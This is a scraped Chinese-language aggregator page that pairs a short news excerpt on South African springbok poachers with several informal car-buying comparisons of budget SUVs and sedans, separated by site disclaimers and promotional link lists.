殺戮12頭跳羚羊 南非逮捕盜獵者及32條獵犬

摘錄自2020年5月26日中央社報導

南非東開普省24日一處農場傳出12頭跳羚羊被殺戮,警方逮捕16名盜獵者及參與助攻的32隻獵犬。涉案者今天出庭受審,32隻獵犬送往愛護動物協會看管。

東開普省(Eastern Cape Province)警方發言人索西(Sibongile Soci)表示,介於23歲至48歲的16名盜獵者,涉嫌24日在32隻獵犬的助陣下,於一處私人農場內非法捕殺12頭跳羚羊( Springbok),並且準備販賣牟取暴利。

跳羚羊主要分布在非洲南部與西南部,雙腿細長,一躍而起高逾2公尺,體重約27至42公斤,奔跑速度極快,一般而言,必需倚賴獵犬助攻,否則難以追捕。

遏阻武漢肺炎(COVID-19)疫情擴大,南非自3月26日午夜起全國封鎖至今,各處盜獵行為大為減少。

生態保育
生物多樣性
國際新聞
南非
羚羊
盜獵

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※網頁設計最專業,超強功能平台可客製化

聽說大家都在糾結這個問題…RX5、博越、GS4、瑞虎7怎麼選?

手剎礙眼,眼中的敗筆。空間表現榮威RX5:前排和後排的頭部空間、縱向空間和橫向空間都表現出色,後排中央地板十分平整。吉利博越:空間是博越的一大賣點,雖然2670mm的軸距不算長,但實際上車內頭部空間和後排腿部空間很大,整體空間表現很棒,跑長途視野好,不易暈車。

對於吉利博越“最美自主SUV”的稱號,有幾款新車頗有微詞,外觀驚艷的互聯網汽車榮威RX5、新增愛信6AT版本的傳祺GS4和上市沒多久的奇瑞瑞虎7,它們躍躍欲試,挑戰博越的地位,試圖搶佔吉利在該細分市場的份額。

這四款車收到的關注度比較高,不少粉絲經常會讓來解答這幾款車該選哪一款,所以特地將這四款車進行一次橫評,幫助你解決這道難題。

前臉設計

榮威RX5:新一代榮威品牌的設計理念,叫“律動設計”, 融入東方的審美,整體表現出自信式優雅的特質。前臉的展翼格柵通過舒展的線條以及豐富的細節來展現車頭的層次感和力量感,目前上汽量產車裡最好看的一款,能自豪地跟外媒說:“設計出自中國”。

吉利博越:博越給的一印象是魁梧、 結實、 飽滿,家族式的漣漪中網讓人過目不忘,炯炯有神的車燈像是銳利的豹睛。

傳祺GS4:GS4、GS8設計同樣出自傳祺高層張帆之手,虎嘯式的前臉設計看起來清秀嚴肅,一副正直不阿的樣子。魚鰓式的大燈、獠牙式LED日間行車燈都有着很高的原創度。

奇瑞瑞虎7:迴旋鏢式大燈,無論車頭還是車尾都有較高的原創度和辨識度,整車採用較多橫向線條,形成多處落差,營造出較強的層次感,認為瑞虎7相比過往奇瑞其他車型的沉悶外觀設計已經有長足進步。

車身尺寸

榮威RX5:長/寬/高分比為4545/1855/1719mm、軸距2700mm

舒展的線條體現了SUV特有的舒適感和安全感,車身比例十分協調,實在找不到槽點。車身尺寸、輪轂造型都與兄弟車型銳騰相像。車身尺寸均大於另外三款競品車型。

吉利博越:長/寬/高分比為4519/1831/1694mm、軸距2670mm

後車門突然升高的車線、隱藏式的D柱和懸浮式車頂設計,都是博越外觀的亮點。

傳祺GS4:長/寬/高分比為4510/1852/1708mm、軸距2650mm

三條錯落有致的腰線設計師稱之為“追風逐月”,再通過C柱和D柱之間的黑色玻璃形成懸浮式車頂,營造出動感的車身造型。

奇瑞瑞虎7:長/寬/高分比為4505/1837/1670mm、軸距2670mm

乍眼一看,瑞虎7的側面還真與日產逍客有幾分相像,前大燈延伸一部分至引擎蓋上,頗有特色。

車尾設計

榮威RX5:貫穿式的尾箱飾條連接兩邊尾燈,拉伸了整個視覺空間,達到和諧的平衡視覺感。內切燕尾的過渡更是出彩,不愧為心目中的“最美自主SUV”。

吉利博越:上揚的窗線辨識度很高,讓車尾看起來緊湊、有力,風格自成一派。扁長的車燈被粗壯的鍍鉻飾條連通,雙邊單出的排氣布局增添運動感。

傳祺GS4:尾部線條簡潔,尾燈造型簡單,突出傳祺的大標誌,大氣耐看。

奇瑞瑞虎7:車尾和車頭相呼應,圓潤飽滿、中間有個小斷層突出了層次感,簡潔之餘不失美感。

內飾

榮威RX5:RX5的內飾有着同級別最大的軟包面積,採用大面積皮材質和出色的裝配工藝顯得非常上檔次,能看出來榮威這次是卯足了勁打造一款超強競爭力的SUV。而作為互聯網汽車,搭配上中控精緻的巨屏,合作享用阿里巴巴的數據庫,基於大數據分析能讓系統越來越好用,實用性高有別於其他國產中控的巨屏。

吉利博越:中控屏幕下面的坡面布置了功能按鍵,順手實用,旋鈕按鍵觸感很好,能給前排乘客好感,中控頂部造型層次豐富,設計師稱採用了西湖斷橋的設計靈感,再一次將中國古典元素融入到設計裏面。

傳祺GS4:內飾設計簡單,但有特色,物理按鍵的組合排列設計有戰鬥機艙的既視感,按鍵很大,駕駛員行駛過程中操作起來方便。內飾用料上多為硬質材料,精緻度低,在檔次感上稍弱。

奇瑞瑞虎7:儀錶盤富有個性,採用逆時針轉動的轉速表。黑棕的拼色內飾,相比許多車型的單色調要有趣得多。中控台簡潔,物理按鍵少,內飾一目瞭然。手剎礙眼,眼中的敗筆。

空間表現

榮威RX5:前排和後排的頭部空間、縱向空間和橫向空間都表現出色,後排中央地板十分平整。

吉利博越:空間是博越的一大賣點,雖然2670mm的軸距不算長,但實際上車內頭部空間和後排腿部空間很大,整體空間表現很棒,跑長途視野好,不易暈車。

傳祺GS4:整體乘坐空間寬敞,後排中間地板縱向長度足夠長,放下一般成年男子的腳綽綽有餘。

奇瑞瑞虎7:頭部空間比博越稍好,腿部空間富餘,後排中央地板平坦,不影響中間乘客舒適性,實在是居家出行的好選擇。

動力總成

榮威RX5:1.5T發動機:169ps(124kW)、250N·m + 7擋DCT雙離合變速箱、實測0-100km/h加速時間:9.88秒、實際綜合油耗:8L/100km

渦輪遲滯較明顯,雙離合變速箱調校偏向舒適平順,但換來的代價是犧牲了換擋速度。主觀加速感受不錯,10秒內的百公里提速時間傲視同價位的其它自主SUV。

吉利博越:1.8T發動機:184ps(135kW)、285N·m + 澳大利亞DSI 6AT、實測0-100km/h加速時間:10.3秒、實際綜合油耗:8L/100km

發動機參數漂亮,但實際爆發力不強,推背感不明顯,勝在平順性好,換擋的衝擊小,穩定地輸出動力,所以加速成績在自主SUV中相當不錯。急加速時變速箱反應稍有猶豫。

傳祺GS4:1.5T發動機:152ps(112kW)、235 N·m + 愛信6AT,未進行6AT版本的試駕測試,但相信搭配全新的6AT變速箱會有更好的駕乘體驗,一改過去雙離合低速時頓挫的表現。

奇瑞瑞虎7:2.0NA發動機 + 模擬7擋CVT變速箱、實際綜合油耗:9.1L/100km

動力不是瑞虎7的強項,油門反應不靈敏,換為運動模式後有所改善。動力輸出線性,符合CVT一貫的行駛質感,能輕鬆應對日常城市路況,但並不適合急性子的你。

底盤和操控

榮威RX5:前麥弗遜式獨立懸架 后多連桿獨立懸架

紮實、高品質的底盤感受,車輛過彎時外側減震器支撐表現好,通過彎路時側傾控制不錯,表現與銳騰相接近。但減震系統調校上,RX5比銳騰更注重舒適性。細微的溝坎不會對艙內乘員感受造成太大影響,而面對路面坑窪或減速帶時,減震器會盡可能將突兀的上下跳動過濾得更平緩。

吉利博越:前麥弗遜式獨立懸架 后多連桿獨立懸架

懸架雖軟,但剎車時保證了不錯的支撐性,姿態不算誇張,底盤紮實、整合度高,由於車身高度較高,轉彎和掉頭是傾斜較明顯,有點在船上的感覺,適宜家用代步。轉向輕盈,油門響應靈敏,容易上手。

傳祺GS4:前麥弗遜式獨立懸架 后多連桿獨立懸架

GS4偏向運動路線,自不然操控調校方面亦會偏向運動,方向盤轉向回饋力度適中,高速行駛穩健,但方向盤有點滑,配有換擋撥片拐彎平穩。

奇瑞瑞虎7:前麥弗遜式獨立懸架 后多連桿獨立懸架

底盤調校表現出極高的水準,底盤韌性十足,高速經過大顛簸時仍能保持較好的車身姿態,整體表現甚至比博越、GS8等車還要出色。

總結:看完這次橫評,對於15萬該選哪款國產精品SUV相信大家心裏有數。榮威RX5有着頗高的顏值和實用上檔次的智聯繫統巨屏,很看好這款誠意滿滿的產品。對雙離合心存芥蒂的,可以選擇搭載6AT的吉利博越或者傳祺GS4,而偏愛動力輸出平順的自然吸氣車的朋友不妨選擇居家實用的奇瑞瑞虎7。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

※別再煩惱如何寫文案,掌握八大原則!

這些5萬就能買到的超帥SUV!別告訴我你還沒關注…

對於年輕人來說,沒有比在某個周末的午後跟秋名山上的五菱宏光來一場速度與激情更讓人愉快了。雖然東南DX3的配置也很屌(全系標配ESp車身穩定系統),但光一副漂亮的臉蛋跟一副超運動的底盤就足夠讓各位年輕人買單了。一本真經的騷長安CS15廠商指導價:5。

作為祖國的花朵,作為人類的未來,年輕人自個買一輛又酷又炫的SUV作為代步的工具是一件天經地義的事情。然鵝,途觀、CX-5那些動輒十多萬的起步價實在是讓一眾騷年的錢包羞澀。難道年輕人擁有一輛“狂拽酷炫屌炸天”的SUV就這麼難?難道上天就這般刻薄我們祖國的花朵們?!當然不是!下面就讓我給大家推薦幾款年輕人都能夠輕鬆擁有的SUV車型!

狂拽酷炫屌的騷

比亞迪元

廠商指導價:5.99-24.98萬

犀利的開眼角大燈搭上展翼式的鍍鉻飾條,整個前臉頗有幾分梁朝偉式的帥氣。車身的側面富有心思地運用了三腰線的設計,動感、立體,彷彿是見人就懟的姿勢。更要命的是,大膽前衛的雙色車身設計,簡直是街上少女們的最愛。從設計的角度來說,這是一輛能夠幫你解決單身問題的SUV。

當然,年輕人用車也是很講究的。配置絕不能馬虎。你只需要付出6.99萬的代價,就能夠得到一鍵啟動、無匙進入、ESp車身穩定系統、陡坡緩降、自動大燈、大燈延時關閉、自動空調等一堆看起來極屌的配置。要是你是一個對裝逼孜孜不倦的人,那你還可以多加1萬,然後再得到前排側氣囊、胎壓監測、定速巡航、全景天窗、外后視鏡加熱等屌得不能再屌的配置。連廣告語我都幫比亞迪想好了:比亞迪元,決不在你裝逼的時候掉鏈子。

瑪莎拉蒂式的騷

東南DX3

廠商指導價:6.79-9.99萬

雖然比亞迪已經很努力地為中國年輕人的裝逼事業而奮鬥,但是另一廂的東南汽車也並沒有閑着,跟世界著名的汽車設計公司賓尼法利納一起倒騰出東南DX3。這個賓尼法利納得着重提及一下:作為世界最著名的汽車設計公司,瑪莎拉蒂總裁、法拉利599GTB等牛逼車型都出自它之手。

就跟賓尼法利納這個名字一樣,東南DX3也採用了一個相當個性的外觀設計。細長的進氣中網、精緻的大燈結構、超級上揚的動感腰線,再搭配上跟比亞迪元同款的雙色車身設計,想想就足夠地讓人雞凍。哪怕在多年以後,你依然能夠抬起頭驕傲地跟其他人說:我這車,賓尼法利納設計的。當然,東南還很逆天地給東南DX3配上了一副前麥弗遜后多連桿的底盤,完全是稱霸同級的節奏。對於年輕人來說,沒有比在某個周末的午後跟秋名山上的五菱宏光來一場速度與激情更讓人愉快了。雖然東南DX3的配置也很屌(全系標配ESp車身穩定系統),但光一副漂亮的臉蛋跟一副超運動的底盤就足夠讓各位年輕人買單了。

一本真經的騷

長安CS15

廠商指導價:5.79-7.79萬

CS75、CS35賣得那麼火,長安不搞個小型SUV怎麼能說得過去?!於是乎長安CS15就來了。和它的老大哥們一樣,CS15依舊很好地繼承了長安一流的造車品質。尤其在行車品質的表現上,行駛時的靜澀性完全不亞於一輛合資緊湊型轎車。內飾的做工、用料等等細節,它的精緻程度也大大領先於其他的同級車型。

造型上面,CS15套了一套長安最新的家族式設計,視覺比起CS35都要更顯動感、幹練一些。尤其前臉的擴散式中網,是同級車型里相當少見的設計。搭配上開眼角大燈,一下子把前臉的立體感增強不少。這種深邃又迷人的設計,同樣的價位,你只能在CS15上面看到了。此外,長安的設計師真的是骨子里的騷包。還給CS15配了4個花瓣式的雙色輪轂,效果完全等同於AJ限量版上腳,那種活潑、騷包的氣息撲面而來。如果你又想騷、又想靠譜,還想價格不高,我想CS15絕壁是一個極好的選擇。

總結

我就是我,是顏色不一樣的煙火!誰說年輕人買不起SUV的?!誰說年輕人就應該刻苦耐勞,走路上班的?!如今,你只需要5.79萬就能夠過上有車一族!去你想去的地方,泡你想泡的女神。看到這裏,難道你還在壓抑自己的內心?!趕緊買買買買買買買買買啊!本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※推薦評價好的iphone維修中心

※網頁設計最專業,超強功能平台可客製化

※別再煩惱如何寫文案,掌握八大原則!

再不買真要漲價了…推薦這8款實用有面子的SUV回家過年

99萬11月25號,中期改款的創酷上市。新車運用了雪佛蘭最新的家族設計,比老款略顯“嬰兒肥”的前臉精緻了不少,車尾則變化不大。由於雪佛蘭與別克在中國市場定位的差異,與別克昂科拉出自同平台的創酷擁有更低的售價,性價比也就更高,值得推薦。

昨天行政部的妹子公布了公司春節放假時間安排,咿呀!不知不自覺又到倒着數放假日子的時候,咋就完全沒感覺到呢?

我想這張圖能充分詮釋原因了吧(害羞臉)。說回正題,眼看2016年只剩20來天的時間,叫獸盆友圈裡的4S店銷售們開始頻繁刷起“購置稅減半政策即將結束,要買車的朋友們抓緊了···”這類消息。

叫獸在這提醒一句,截止這篇文章發出前官方還沒有給出任何有關購置稅是否順延的通知,建議大家做好不會延順的準備。再說了,趁早提台車到時候開車回家過年,省得費心費力搶票還倍兒面子,這樣兩全其美的事上哪找去。

廢話時間結束,今天叫獸就選出了這8款值得推薦並且可以享受購置稅優惠政策的SUV,有喜歡的就趕緊下手吧。

首先是中國品牌系列

奇瑞 – 瑞虎3x

指導價:5.89 – 8.09萬

瑞虎3x是奇瑞剛上市的一款最新入門級SUV車型,新車採用了奇瑞家族“life in motion”設計理念,主打年輕時尚。可以說瑞虎3x是目前同級別里顏值非常高的一位(明年上市的寶駿510將會成為其最大的威脅)。

配置方面同樣厚道,除了皮質座椅、真皮方向盤以及天窗這類實用配置外,從6.49萬的次低配開始,瑞虎3x均配備了ESp車身穩定系統,這一點實屬難能可貴。如果你的預算在7萬左右,瑞虎3x是一款很適合年輕人的入門SUV。

吉利 – 帝豪GS

指導價:7.78 – 10.88萬

2016年真是吉利非常“吉利”的一年,上個月全系車型銷量首次突破10萬大關,其中帝豪GS貢獻了10078輛。

跨界風格非常符合年輕消費者的口味,精緻簡約的內飾算得上是精品中的精品。常規舒適性和安全性配置自然不用擔心,頂配版還配備了同級罕有的主動剎車和自適應性巡航系統。提醒一句,1.3T才能享受減稅政策,現在吉利的新車很搶手,喜歡這款車的要趁早喲。

廣汽傳祺 – GS4

指導價:9.98 – 16.18萬

GS4上市幾個月後迅速成為月銷量破2萬的 “黑馬”,甚至讓傳祺自己都措手不及,於是進一步加班加點提升產量。

高度原創並符合國人審美的造型是其成功的重要因素,豐富的配置則進一步提升了GS4的競爭力。前不久上市的2017款自動擋的變速箱由老款的7速雙離合更換成愛信6AT,之前令人詬病的換擋平順性有了明顯的改善。GS4全系均可減稅,有看上的抓緊了。

上汽MG – 銳騰

指導價:10.97 – 17.97萬

銳騰的市場表現或許沒有前兩位那麼火爆,但時尚個性的造型一直是MG的招牌,銳騰放在眾多國產SUV裏面絕對是十分搶眼的一位。

銳騰的另一大“殺手鐧”就是優秀的動態表現。拋開無法享受優惠政策的2.0T車型不談,1.5版本能輸出高達169ps的馬力,身上這套7速雙離合的表現也非常稱職。如果你不甘隨大流且愛好駕駛,銳騰是個不錯的選擇。

雪佛蘭 – 創酷

指導價:9.99 – 14.99萬

11月25號,中期改款的創酷上市。新車運用了雪佛蘭最新的家族設計,比老款略顯“嬰兒肥”的前臉精緻了不少,車尾則變化不大。

由於雪佛蘭與別克在中國市場定位的差異,與別克昂科拉出自同平台的創酷擁有更低的售價,性價比也就更高,值得推薦。

廣汽本田 – 繽智

指導價:12.88 – 18.98萬

廣本在先期推出的1.8L版本繽智站穩市場后推出了兩款1.5L版本,分別匹配6MT和CVT變速箱。1.5L版本不僅能享受購置稅優惠政策,還進一步降低了入門門檻,成為眾多年輕消費者的新選擇。

雖然沒有帶“T”,但絲毫不用懷疑本田在發動機方面的造詣。這台1.5L“地球夢”發動機能輕鬆驅動繽智的小身材,CVT的表現依然優秀,未來如果能將發動機噪音問題優化則更加完美。

東風日產 – 逍客

指導價:13.98 – 18.98萬

上一代逍客是最早進軍入門合資SUV市場的車型之一,完成換代后的新逍客擁有更加符合大眾審美的造型。

先前15.28萬的2.0L入門價格在如今幾乎沒有太多優勢可言,今年初推出1.2T入門版本不僅能享受減稅政策還顯著降低了油耗,於廠家於消費者都是件很划算的買賣。目前逍客比前面幾位有更大的終端優惠,感興趣的趕緊去4S店了解情況。

華晨寶馬 – X1

指導價:28.6 – 43.9萬

你沒看錯,最後登場的是一款豪華品牌SUV – BMW X1。這是2016年裡非常重要的一款SUV,不僅僅因為它叫寶馬,更因為新X1再次打破了大家對入門豪華SUV的固有印象。

新X1變得更有寶馬“味道”,冷不丁一看與X5很像,五星好評;堪比X3的乘坐空間則成為了新X1的又一大變化。

能減稅的只有18Li也就是1.5T版本。大家一定會質疑三缸和前驅的問題,叫獸在這負責任的說,1.5T的動力家用足夠,即便是高速上也沒有任何壓力;其最大的問題是發動機噪音的抑制方面有所欠缺(1.5T),沒有達到一款BMW應有的水準。至於前驅與后驅,絕大部分人開不出來差別,不必太糾結(城市SUV做好本職工作就行,真追求駕控樂趣就努力賺錢買M)。結合終端售價以及購置稅的優惠政策,1.5T是一個實惠且不失面子的選擇,誰還沒一個“藍天白雲”夢呢?

總結

叫獸還是那句話,早買早享受。不管購置稅優惠政策會不會順延,只有你有能力並且有需要,看中哪款車就去買吧,有這糾結的功夫倒不如激勵自己賺更多的錢,爭取未來去繳納10%的超豪車消費稅吧!本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※回頭車貨運收費標準

※網頁設計最專業,超強功能平台可客製化

※別再煩惱如何寫文案,掌握八大原則!

17萬起買個性SUV,這款美系SUV是不是真的比奇駿更值得買?

但對於指南者來說,2706mm的軸距絕對是碾壓它的2636mm軸距。日產逍客官方指導價:13。98-18。98萬此次指南者真正對手應該是逍客,但是1。4T的發動機註定是和2。0L發動機相對比的,動力方向相差無幾,不過在軸距上逍客以着10mm的距離小勝指南者。

前言

對於美系車,我們一向都有着這樣的認識,隔音好而且舒適,但價格水平卻一點都不接地氣。但是最近作為硬派SUV代表品牌的JEEp公布了最新款的指南者售價,價格竟然和一向走低價路線的日系車一樣,那麼這款jeep指南者究竟何方神聖?是否值得買呢?

Jeep指南者車身尺寸為4415*1819*1625,身材上要比起奇駿、CR-V這些對手要小上一圈。定位是一款緊湊型SUV,預售價為17到24萬之間。

外觀上非常硬朗霸氣,整體和大切諾基相似,採用了家族式的7孔進氣格柵,並且在視覺上和大燈融為一體,拉伸了整車的視覺寬度。

整車下部有着一圈塑料裝飾,可以避免小蹭刮后的補漆。車尾造型相對於以往車型來說要柔性不少,兩燈之間依然是大大的“jeep”的標識。

內飾方面則是一貫的jeep風格,比較的中庸沒有太大的特點,使用的是黑色以及米色相搭配的風格,更為適合家用以及溫馨。配置上可以看到有着自動空調、8.4英寸中控屏幕、电子手剎、一鍵啟動以及全景天窗。

在動力方面,指南者將採用的是1.4T渦輪增壓發動機或者2.4L自然吸氣發動機,前者將搭配7速雙離合變速箱,後者將搭載9AT變速箱,並且為四驅車型。

競爭對手

日產奇駿

官方指導價:18.18-26.78萬

日產奇駿在緊湊型SUV中是一個重量級选手,實力不容小覷,油耗以及空間表現優秀,不過隔音水平以及內飾用料稍顯一般。但對於指南者來說,2706mm的軸距絕對是碾壓它的2636mm軸距。

日產逍客

官方指導價:13.98-18.98萬

此次指南者真正對手應該是逍客,但是1.4T的發動機註定是和2.0L發動機相對比的,動力方向相差無幾,不過在軸距上逍客以着10mm的距離小勝指南者。

本田繽智

官方指導價:12.48-18.48萬

本田繽智是一款小型SUV,和指南者相比其實不公平,但是高配的1.8L車型價格已經和指南者相重合了,所以依然可以說是競爭對手。因為等級的關係,繽智的2610mm軸距,明顯不如指南者,而且1.8L發動機在動力上是不如1.4T發動機的,不過本田該發動機卻是更省油。

所以總的來說,這次指南者可以說是一款入門緊湊型SUV,是和着日產逍客這種定位相似。比起本田繽智以及昂科拉這類小型SUV要大上一圈,但是卻小於日產奇駿、本田C-RV這類緊湊型SUV。這次指南者上市,因為低配搭配的是1.4T發動機,售價難以下降,所以相當於是用着高配和別人競爭。這款指南者非常適合追求個性的年輕人使用,唯一就是價格應該再下降一點。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

要便宜還要檔次?8萬元白菜價的合資三廂車隨便挑

38-12。08萬元曾經的“老三樣”,是一代人的汽車情結。但如今,“老三樣”的輝煌成就已是茶餘飯後的談資。“老三樣”除了捷達和桑塔納繼續保持強大的產品號召力,接替富康的全新愛麗舍就顯得有點舉步維艱,銷量和影響力遠遠不及前面兩位老朋友的一半。

8萬元的預算買輛合資轎車,看似是一件非常不可思議的事情。但實際上,8-10萬這一細分市場早已不是合資車的天下,而是被日益強大的自主品牌所瓜分,競爭的壓力導致了入門級合資車售價區間不斷下探。8萬元,不僅能買到更有面子的合資品牌,關鍵它們還是一些實力不錯的三廂轎車。

新捷達

指導價:7.99-13.49萬元

不管大家信不信,反正的第一台車就是捷達,嗯!沒錯,就是隨處可見的捷達教練車,幾乎每一位有駕照的朋友都是被捷達車一路虐過來的。從最開始上市至今,捷達的累計銷量已經突破360萬台車。足以可見,捷達的實力派口碑可真不是蓋得的。即然如此,那就來推薦這款近期上新市的新捷達。作為中期改款后的新捷達,形象氣質完全煥然一新,相比以往刻板沉穩的印象更加年輕且運動化,但造型還是離不開你最熟悉的大眾風格。

隨之改變的還有新捷達的內飾,無論做工質感,還是時尚感均讓你懷疑這還是捷達嗎?與此同時,新捷達總算是良心發現了,配置水準大大高於現款捷達,中控台也不再是簡陋的不成樣,而是換裝了更有逼格的大尺寸显示屏,部分車型還增加了胎壓監測,ESp,倒車雷達等實用配置,空間還一如既往的出色。總體來說,新款捷達的性價比表現進步神速。真是厲害了,我的捷達哥!

科沃茲

指導價:7.99-10.99萬元

科沃茲和科魯茲,傻傻分不清。不僅取名方式非常雷同,設計方面也找到一些共同點。雖然科沃茲長得沒有科魯茲那麼有個性,但至少在很多年輕人看來,科沃茲的外觀設計還是比較成功的,以致於甚至你可能猜不到它的起步價只要7.99萬,頂配也不超過11萬,試問這樣有吸引力的價格,又能照顧你面子的合資轎車,國產轎車還怎麼活?

值得一提的是,儘管科沃茲是台中國特供車,但你別否認,其實打着特供車的名義殺入家用車市場,銷量真的差不到哪去,10月份科沃茲的銷量已經反超大哥科魯茲了,也說明科沃茲這款新車方方面面都有不俗的實力。其中,檔次感和配置是它最大的產品亮點,時尚有質感內飾可以輕易俘虜年輕人的心。配置方面,除了最低配感覺讓人稍微不值之外,其它款車型給出的配置已經非常厚道了,好嗎?綜合對比同級競品來說,科沃茲是少有的全能选手,不失為年輕人的入門家用車的首選。

愛麗舍

指導價:8.38-12.08萬元

曾經的“老三樣”,是一代人的汽車情結。但如今,“老三樣”的輝煌成就已是茶餘飯後的談資。“老三樣”除了捷達和桑塔納繼續保持強大的產品號召力,接替富康的全新愛麗舍就顯得有點舉步維艱,銷量和影響力遠遠不及前面兩位老朋友的一半。而從今天的審美觀來看,愛麗舍雖然不是走那種很驚艷的設計路線,在同級別中屬於很夠看的,辨識度也不錯。不過,讓人不爽的是,與時尚外觀形成巨大落差的內飾感實在太low了。

但總的來說,憑藉日積月累的口碑效應,過硬的可靠性,以及同級中一流的動力性和底盤調校,尤其是遭人詬病的4AT變速箱換成6AT變速箱之後,全新愛麗舍產品力得到進一步提升。同時,再結合一個不高不低的售價區間,愛麗舍還是一款非常靠譜的合資轎車。但也有一些不得不提的槽點,比如令人抓狂的風噪胎噪,以及不夠人性化的設計。當然,相比同級的德系車型,愛麗舍的性價比優勢更突出。

鋒范

指導價:7.98-11.98萬元

在8萬元的價位上,可能更多的人會考慮飛度。但如果介意飛度是台兩廂車的話,那麼退而求其次,購買三廂車鋒范無疑是最折中的選擇。當然,鋒范的銷量也並不差,精緻動感的車身造型,迎合了年輕人的審美觀念。但真正讓人佩服的是本田的地球夢發動機技術!無論是動力性還是燃油性,“黑科技”傍手的鋒范都有可圈可點的表現,其可靠性和經濟性足夠省心省力。

此外,要論空間的話,鋒范同樣不甘落後。繼承了本田MM理念的鋒范,軸距2600mm的車內空間,卻有十足的越級表現,即使滿載5位成年人,鋒范也是應付得游刃有餘。最後,再說說人家的性價比,一般是不建議入手本田車型的最低配版,怎麼說?簡直寒酸到不忍直視,鋒范也毫不例外,不僅外觀內飾有區別對待,居然連一些很基礎的配置如收音機、遙控鑰匙都沒有。拋開鋒范在最低配車的不厚道,其次低配、中配版都能讓人心滿意足。所以,鋒范作為不追求配置年輕人的代步車,也是完全稱職的。

手裡有8萬元的購車預算,還是會陷入比較尷尬的兩難,往往是高不成低不就。心裏想着買好點的合資車,但錢包不給力。退一步買性價比更高的國產車,又有些心不甘情不願。如果有類似這樣疑慮的朋友,不妨考慮推薦的這四款入門合資轎車。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※網頁設計最專業,超強功能平台可客製化

※回頭車貨運收費標準

5-10萬的這些合資轎車男女老少開着都不丟面

3L 91馬力+5擋手動,1。5L 103馬力+5擋手動/4擋自動。這款來自鈴木的小車也很招男士的待見,因為鈴木的小排量發動機做的很不錯,不管是起步還是加速、超車,你踩多少油門,就會給你多少加速度,這種积極的動力響應讓人慾罷不能。

如果家裡只有一台車子,但是幾個人都有駕照,都會開車,那麼買台車子就不能僅僅只考慮一個人的感受了,而是需要考慮家裡所有人的考慮了。

有些車子雖然很不錯,但是可能不適合女人開,有些車子適合女人開但是看着太娘了,也不適合男士開,所以今天給大家推薦幾款男女老少都適合的車子,看看那款是你的菜。

長安福特-嘉年華

7.99-12.29萬

福特嘉年華的兩廂版和三廂的版的車身尺寸分別為3970*1722*1470mm、4320*1722*1470mm,軸距統一為2495mm。嘉年華屬於合資小型車。之所以說男女都適合開嘉年華,那是因為嘉年華屬於小巧的兩廂車,女士開着沒有絲毫的違和感,同時馬丁臉的前進氣格柵和炯炯有神的前大燈組使得嘉年華看起來多了幾分陽剛之氣,所以說就算你是一個威武的男人,這個看起來略顯霸氣的車型也很適合你。

嘉年華的動力系統為1.5L 110馬力+5擋手動/6擋雙離合,1.0T 125馬力+6擋雙離合。對於喜歡操控的消費者來說,嘉年華硬朗的底盤,精準的轉向不會讓你失望的。

最後,不管是男人還是女人,盡量買兩廂版的嘉年華吧。因為三廂版的嘉年華看起來不是那麼的協調。

長安鈴木-雨燕

5.98-8.28萬

雨燕的車身尺寸為3765*1690*1510mm,軸距為2390mm,雖然和嘉年華一樣也是定位為小型兩廂車,但是雨燕的“身板”確實夠較小的。雨燕看起來有點像“MINI”的感覺,造型比較可愛。但是可不能被他的外觀蒙蔽了,覺得它適合女士不適合男士。

雨燕確實很討女性消費者的喜歡,但是男士對他的愛一點也不少。雨燕的的動力系統為1.3L 91馬力+5擋手動,1.5L 103馬力+5擋手動/4擋自動。這款來自鈴木的小車也很招男士的待見,因為鈴木的小排量發動機做的很不錯,不管是起步還是加速、超車,你踩多少油門,就會給你多少加速度,這種积極的動力響應讓人慾罷不能。不過雨燕的缺點就是車型較老,配置太寒磣了,畢竟價格有限。

上汽大眾-pOLO

7.59-14.69萬

pOLO共有三種車身尺寸,1.4L和1.6L車型的車身尺寸為3970*1682*1462mm、軸距都為2470mm。比起時尚嘉年華和呆萌的雨燕,pOLO看起來則“正經”許多,外觀造型中規中矩,因為這是一台大眾車。

內飾也是大眾常見的風格,雖然中控的布局很實用,但是看久了也會看煩的。其實在這個級別,pOLO才是銷量王者。這個車子是正兒八經的男女老少通吃,畢竟這個造型很中庸的pOLO會符合更多人的審美。pOLO主銷的車型為1.4L和1.6L車型,尤其是1.4L車型,畢竟這款車型更經濟實惠,同時動力又可以滿足日常使用,關鍵是質量還很好。

